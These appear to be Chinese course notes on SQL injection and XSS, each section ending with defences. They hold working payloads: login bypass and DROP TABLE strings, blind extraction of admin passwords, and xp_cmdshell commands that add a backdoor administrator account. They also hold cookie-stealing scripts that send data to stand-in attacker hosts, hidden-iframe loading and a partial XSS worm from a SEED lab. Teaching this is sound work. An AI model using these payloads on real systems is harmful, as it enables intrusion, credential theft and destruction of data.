$1 SQL注入
sql注入是代码注入攻击的一种
- 代码注入攻击:
- 通过利用Web应用程序的输入验证不完善漏洞,
- 使web应用程序执行由攻击者所注入的恶意指令和代码,
- 造成敏感信息泄露、权限提升或对系统的未授权访问等危害后果
- 多样化的代码注入攻击类型(根据攻击目标):
- SQL注入攻击:恶意读取、修改与操纵数据库;
- PHP注入或ASP注入攻击:在web服务器端植入和运行Webshell
- Shell注入攻击:在web服务器端恶意执行操作系统命令的;
- 其他多样化注入攻击:LDAP注入、邮件命令注入、SSI注入、XPath注入、XML注入、XQuery注入等
1.1 SQL注入攻击概述
一、SQL注入攻击
SQL注入攻击是利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术
二、SQL注入漏洞机制
- 用户输入没有被正确地过滤:转义字符(引号、反引号、双下划线、分号、百分号)
- 没有进行严格类型检查:未判断输入是否预定类型
1.2 SQL注入攻击原理
一、原理
- 表示层:通过表单或URL输入参数 ,用户输入
- 业务逻辑层:通过用户输入参数构造SQL语句
- 不完善的输入验证机制
- 数据层:通过数据连接执行SQL语句
- 触发恶意数据库操作
二、原理解析
- 表示层:request表单
业务逻辑层:login.asp
数据层:后台MS SQL Server
1. 正常情况
- 用户输入:用户名:guojing;口令:123456
- 正常SQL:
SELECT * from FROM accounts WHERE username ='guojing' AND passwd = '123456'
2. 黄蓉的诡计 之 ”
-
用户名和口令均输入:
huangrong' OR '1'='1
-
注入SQL结果:
SELECT * from FROM accounts WHERE username =‘huangrong’ OR ‘1’='1’ AND passwd = ‘huangrong’ OR ‘1’=‘1’
- 等价于: SELECT * from FROM accounts
-
后果:绕过了login.asp用户身份认证的正常逻辑,获得访问
补充:其实,在用户名输入框输入:
‘ OR 1=1 --
也能达到同样的效果
3. 黄蓉的诡计2
-
用户名框:
x’ OR ‘1’=‘1
-
口令框输入:
huangrong‘; DROP TABLE accounts; SELECT * FROM admin WHERE 't' ='t
-
注入SQL结果:
SELECT * from FROM accounts WHERE username =‘x’ OR ‘1’=‘1’ AND passwd = ‘huangrong’;
DROP TABLE accounts;
SELECT * FROM admin WHERE ‘t’ = ‘t’
4. 类型约束检查不完备SQL注入
- statement := "SELECT * FROM userinfo WHERE id = " + a_variable + “;”
- 黄蓉的诡计3:a_variable := “1; DROP TABLE accounts”
- 注入SQL结果:SELECT * FROM userinfo WHERE id = 1; DROP TABLE accounts;
1.3 实际SQL注入攻击步骤
一、发现SQL注入点
-
注入点存在于形如http://SITE/xxx.asp?some_rec=yyy的动态网页
- 手工审查
- Google Hacking
-
注入点验证
-
当some_rec字段是整数型参数时,通常数据库SQL操作语句为:
SELECT * FROM some_table WHERE some_rec =yyy
,将参数值yyy设置如下三种不同的字符串:-
yyy‘
(加单引号):SQL错误会由于数据类型不符合造成SQL语句错误
-
yyy and 1=1
:正常页面SELECT * FROM some_table WHERE some_rec =yyy and 1=1
这个句子很正常 -
yyy and 1=2
:空白页面或错误提示SELECT * FROM some_table WHERE some_rec =yyy and 1=2
,由于1=2为永假式,将查询不到任何消息,所以返回空白页面或错误提示 -
上述情况都满足时,可认定该web应用程序对整数类型输入缺乏严格的类型检查,存在注入点
-
-
当some_rec字段是字符串参数时,通常数据库SQL操作语句为:
SELECT * FROM some_table WHERE some_rec ='yyy'
,将参数值yyy设置如下三种不同的字符串:-
yyy'
加单引号) :SQL错误输入引号后,引号不匹配造成SQL语句错误
-
yyy‘ and ’1‘=’1
:正常页面 -
yyy‘ and ’1‘=’2
:空白页面或提示错误信息 -
上述情况都满足时,可认定该web应用程序对字符串类型输入缺乏严格的类型检查,存在注入点
-
-
二、判断后台数据库类型
- Web应用程序流行的后台数据库
- ASP:MS SQL Server/ACCESS
- PHP:MySQL
1. 利用数据库服务器的系统变量进行判断
- MS SQL Server:user和db_name()
- MySQL:basedir(MySQL服务器安装路径)、…
- 例如执行:http://SITE/xxx.asp?some_rec=yyy and db_name()>0
- 不仅可以判断是否是MS SQL Server,还可以得到当前正在使用的数据库名
2. 利用数据库服务器的系统表进行判断
-
ACCESS的系统表:msysobjects (在web环境下没访问权限)
-
MS SQL Server的系统表:sysobjects (在web环境下有访问权限)
-
MySQL的系统表: mysql
-
例子:对于一下两条语句:
-
http://SITE/xxx.asp?some_rec = yyy and (select count(*) from sysobjects)>0
-
http://SITE/xxx.asp?some_rec = yyy and (select count(*) from msysobjects)>0
-
如果是MS SQL Server:第一条正常,第二条异常
如果是ACCESS:两条都异常
-
三、利用SQL注入进行后台口令拆解
1.猜解后台管理员口令表名
- http://SITE/xxx.asp?some_rec = yyy and (select count (*) from guessed_tbl_name)>0
- guessed_tbl_name:猜测的表名,一般来说可能是:user\member\admin\systemuser\manger等等
- 通过不断请求,根据反馈页面进行判断
2. 猜解字段名
假设确定的表名为Admin
- http://SITE/xxx.asp?some_rec = yyy and (select Count(guessed_rec_name) from Admin) > 0
- guessed_rec_name:猜测的字段名,用户名字段:username\name\user \account;密码字段password\pass\pwd\passwd
3. 猜解字段值(用户名和口令字段值)
二分法逼近
- 字段长度: http://SITE/xxx.asp?some_rec = yyy and (select top 1 len(username) from Admin)> [guessed_length]
(select top 1 len(username) from Admin)> [guessed_length]
这个查询语句的意思是:检查表Admin
中第一个用户名的长度是否大于猜测的长度top 1
是用于指定仅返回第一个结果
- 获得字段长度信息之后,可以逐位地猜解字符串每位的字符ASCII值,为了加快猜解速度可以使用二分法来快速逼近真实取值
- 字段值: 逐位猜解 http://SITE/xxx.asp?some_rec = yyy and (select top 1 asc(mid(username,N,1)) from Admin)>[guessed_ascii]
- mid(username,N,1)可以截取第N位字符, asc(mid(username,N,1))得到其ASCII值
- [guessed_ascii]时使用二分法
- 口令字段值猜测类似,但口令可能为MD5散列后的密文
- 可通过注入SQL修改口令,或者使用MD5破译软件进行破解
- MD5Crack
四、上传ASP后门,得到默认账户权限
在获得管理员账号密码后,通过后台管理界面登录
- 利用提供的上传/下载文件等功能上传ASP后门,对Web站点远程控制
- ASP后门被上传到Web虚拟目录的Scripts下
- 攻击者就可以通过浏览器访问它,进而得到Web服务器软件的默认账户权限
- 一般为受限的系统用户权限,但已经可以获得本地命令执行
五、本地特权提升
- 利用系统或某些特权应用服务(如Serv-U)安全漏洞
- 利用系统配置不当提升系统权限
六、利用数据库扩展存储过程
-
若当前的数据库连接支持类似MS SQL Server等支持xp_cmdshell扩展存储过程,且拥有数据库管理系统的最高权限(如MS SQL Server的sa)
- 则可以直接调用操作系统的shell命令进行任意的操作
- 此时,无需前面的步骤三到五
-
例如:添加有本地系统管理员权限的后门用户帐号
-
http://SITE/xxx.asp?some_rec=yyy; exec master.xp_cmdshell “net user name password /add”
- 调用
xp_cmdshell
存储过程并在操作系统中执行net user
命令,用于添加一个具有本地系统管理员权限的后门用户帐号 name
是要创建的用户名,password
是用户的密码
- 调用
-
http://SITE/xxx.asp?some_rec=yyy; exec master.xp_cmdshell “net localgroup name administrators /add”
- 尝试通过
xp_cmdshell
存储过程在操作系统中执行net localgroup
命令,用于将一个用户添加到本地管理员组中 name
是指定的用户组名
- 尝试通过
-
1.4 自动化SQL注入
一、自动化SQL注入漏洞发现
- Wposion
- 一个能够在动态Web文档中找出SQL注入漏洞的工具
- mieliekoek.pl
- 以网站镜像工具生成的输出为输入,找出含有表单页面
- 允许在配置文件中对注入字符串进行修改
二、自动化SQL注入测试
- SPIKE Proxy工具
- 允许使用者对待注入字符串进行定制
- SPI Toolkit工具包中的“SQL Injector”工具
1.5 SQL注入攻击防范措施
- 使用类型安全(type-safe)的参数编码机制
- 凡是来自外部的用户输入,必须进行完备检查
- “限制、拒绝、净化”
- URLScan过滤器:丢弃符合给定过滤规则的输入
- PHP v5.2.0:filter_input()与filter_var()
- 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
- 加强SQL数据库服务器的配置与连接
- 避免将敏感性数据(如口令)明文存放于数据库中
- 最小权限原则配置Web应用程序连接数据库的查询操作权限
- 实现一个不泄漏任何有价值信息的默认出错处理机制
$2 XSS跨站脚本攻击
2.1 概述
一、什么是跨站脚本
- 跨站脚本是一种通常存在于Web应用程序中的安全漏洞,使得攻击者可以将恶意的代码注入到网页中,从而危害其他Web访问者(敏感信息、客户端渗透攻击等)
- 客户端脚本:Javascript,Flash ActionScript等
二、与代码注入攻击比较
- 相似的漏洞根源:Web应用程序没有对非预期输入做全面有效检查和净化
- 不同的最终攻击目标
- 代码注入:Web站点( Web 站点的内容通常存储在 web服务器)
- XSS:访问Web应用程序的其他用户
- web服务器是帮凶,而不是受害者了
2.2 原理
典型的跨站脚本攻击
-
查看用户终端会话Cookie
-
<script>alert(document.cookie)</script>
-
使弹出的对话框中显示当前用户在该web站点上的会话cookie,其中可能包含了:会话ID、甚至登录口令等敏感信息
-
-
窃取Cookie
-
攻击者的网站:steal_cookie_example.com
-
<script>document.location=‘http://steal_cookie_example.com/getcookie.php?cookie=’+document.cookie;</script>
- 所有访问该页面的用户将转而访问攻击者的网站steal_cookie_example.com,并提交了他们的cookie信息
document.location=
:这是 JavaScript 中用于改变当前页面 URL 的语法document.cookie
包含了当前页面的所有 Cookie 数据。攻击者将这些 Cookie 数据作为参数附加到 URL 的末尾,以便将其发送到指定的恶意网站
-
-
网页挂马
-
<iframe src="http://target_link" height=0 width=0></iframe>
- iframe标签:用来嵌入另一个网页,攻击者可以通过将该标签的
src
属性设置为一个恶意网站的 URL,然后将高度(height
)和宽度(width
)属性设置为 0,使得这个 iframe 不可见 - 当用户访问包含这段代码的页面时,浏览器会加载该 iframe 指向的恶意网站,有可能触发恶意代码的执行或者利用浏览器的漏洞进行攻
- iframe标签:用来嵌入另一个网页,攻击者可以通过将该标签的
-
或
<script src = "http://target_link"></script>
src
属性设置为恶意脚本的 URL,当用户访问包含这段代码的页面时,浏览器会尝试加载并执行该脚本
-
2.3 攻击类型
一、持久性XSS
Persistent/stored(危害最严重)
- 代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码
- 如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie
1.漏洞形式
Web应用程序允许用户输入内容并持久保存在服务器端,并在正常网页上显示
2.攻击方式
攻击者通过利用跨站漏洞构建恶意脚本,对大量用户构成危害
3.典型案例
典型案例: 留言本/论坛/博客等
二、非持久性XSS
Non-Persistent/ reflected**(最普遍**),也叫反射型XSS
反射型 XSS 是攻击者构造包含恶意脚本的 URL,诱使用户点击执行;
而存储型 XSS 是攻击者将恶意脚本存储到网站上,其他用户访问时触发执行
1.概念
-
指攻击者将恶意脚本注入到网站的 URL 参数或表单等输入字段中
-
然后将包含恶意脚本的 URL 发送给目标用户。
-
当用户点击包含恶意代码的 URL 时,服务器接收到 URL 中的参数并反射回给用户浏览器,恶意脚本随即被执行
2.攻击过程(步骤)
三、DOM 型 XSS(DOM-based XSS)
发生在客户端
2.4 攻击实例
SEED实验环境中的phpBB论坛存在XSS漏洞
一、测试XSS漏洞
<script>alert(’XSS’);</script>
二、窃取用户会话cookie
- 攻击者首先架设一个服务器,该服务器可以将所有收到的http请求显示在屏幕中
- 然后,在论坛中发布帖子:
<script>document.write(“<img src=http://attacker_IP_address:4444?c=”+document.cookie +“ >”); </script>
- 其它用户访问该帖子时,植入的脚本在浏览器中自动执行,向地址为attacker_IP_address(攻击者的IP地址)的服务器发送HTTP请求,并将用户信息作为参数包含在URL请求中
(进行十六进制解码后可以获取用户SID)
三、假冒其它用户发表与修改帖子
利用cookie信息假冒其它用户发表与修改帖子
四、编写实现XSS蠕虫
<script>
var Ajax=null;
// Construct the header information for the Http request
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true);
……
Ajax.setRequestHeader(“Cookie”,document.cookie);
//get sid from the cookie
str_sid = ......;
//Construct the content. The format of the content can be learned from LiveHttpHeader. All we need to fill is subject, message, and sid, for a true XSS worm, we need intgrate the Javascript codes into message.
var content="subject=" + "XSSWorm" + ”……&message=Hello&topictype=0&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid="+str_sid+"&f=1&post=Submit";
//Send the HTTP POST request.
Ajax.send(content);
</script>
2.5 防范措施
一、服务器端
“限制、拒绝、净化”
- 输入验证: 对用户提交数据进行尽可能严格的验证与过滤 (输入数据不能过长、仅包含某些合法字符、不能包含某些关键标签符号等)
- 输出净化:(ASP\PHP\ASP.NET)用HTMLEncode()方法),进行编码转义,即引号",单引号’,&等作为HTML内容而不是控制字符
- 消除危险的输入点,有些位置提交用户输入很危险,如JavaScript中
二、客户端
- 提高浏览器访问非受信网站时的安全等级
- 关闭Cookie功能,或设置Cookie只读(IE6SP1 HTTPonly cookie)
- 采用非主流浏览器Chrome, Safari, Opera